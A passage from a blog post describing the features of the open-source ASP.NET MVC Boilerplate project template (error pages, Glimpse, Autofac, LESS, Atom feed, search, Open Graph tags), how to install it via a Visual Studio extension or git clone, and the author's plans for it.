Not only that but standard error pages such as 500 Internal Server Error, 404 Not Found and many others are built in to the template. ASP.NET MVC Boilerplate even includes IIS configuration to protect you from Denial-of-Service (DoS) attacks.

Easier Debugging and Performance Testing Tools

ASP.NET MVC Boilerplate makes use of Glimpse (As advertised by Scott Hansleman). It’s a great tool to use as you are developing, to find performance problems and bugs. Of course, Glimpse is all preconfigured, so you don’t need to lift a finger to install it.

Patterns and Practices

Doing things right does sometimes take a little extra time. Using the Inversion of Control (IOC) pattern for example should be a default. ASP.NET MVC Boilerplate uses the Autofac IOC container by default. Some people get a bit tribal when talking about IOC containers but to be honest, they all work great. I picked Autofac because it has lots of helpers for ASP.NET MVC and Microsoft even uses it for Azure Mobile Services.

ASP.NET MVC Boilerplate also makes use of the popular LESS files for making life easier with CSS. For an example, it can make overriding colours and fonts in the default Bootstrap CSS a cinch.

ASP.NET MVC is a complicated beast. You can end up with lots of magic strings which can be a nightmare when renaming something. There are many ways of eliminating these magic strings but most trade maintainability for slower performance. ASP.NET MVC Boilerplate makes extensive use of constants which are a trade-off between maintainability and performance, giving you the best of both worlds.

Atom Feed

An Atom 1.0 has been included by default. Atom was chosen over RSS because it is the better and newer specification. PubSubHubbub 0.4 support has also been built in, allowing you to push feed updates to subscribers.

Search

There is a lot more to implementing search in your application than it sounds. ASP.NET MVC Boilerplate includes a search feature by default but leaves it open for you to choose how you want to implement it. It also implements Open Search XML right out of the box. Read Scott Hanselman talk about this feature here.

Social Media Support

Open Graph meta tags and Twitter Card meta tags are included by default. Not only that but ASP.NET MVC Boilerplate includes fully documented HTML helpers that allow you to easily generate Open Graph object or Twitter Card met tags easily and correctly.

How can I get it?

That’s easy, just choose one of the following options:

Get the Visual Studio 2013 extension here and in Visual Studio go to File -> New Project -> Web.

Clone the git repository:

git clone https://github.com/RehanSaeed/ASP.NET-MVC-Boilerplate

Release Notes and To-Do List

You can find release notes for each version here and a To-Do list of new features and enhancements coming soon here.

Bugs and Issues

Future of the project

At some point, I will try to create a Visual Studio Deployment package (VSIX) and list this project template on the Visual Studio extensions site. To use the template, it will be as easy as choosing ASP.NET MVC Boilerplate from the online templates in the File -> New Project -> Online Template menu. Unbelievably, it’s actually pretty complicated to create one of these. I found the Export Template Wizard Visual Studio extension which can do this easily but it’s not been updated since Visual Studio 2010.

I am also taking a look at creating separate Visual Studio templates which include ASP.NET Web API and OAuth authentication. This is of course an open source project, I fully expect contributions and suggestions from the community.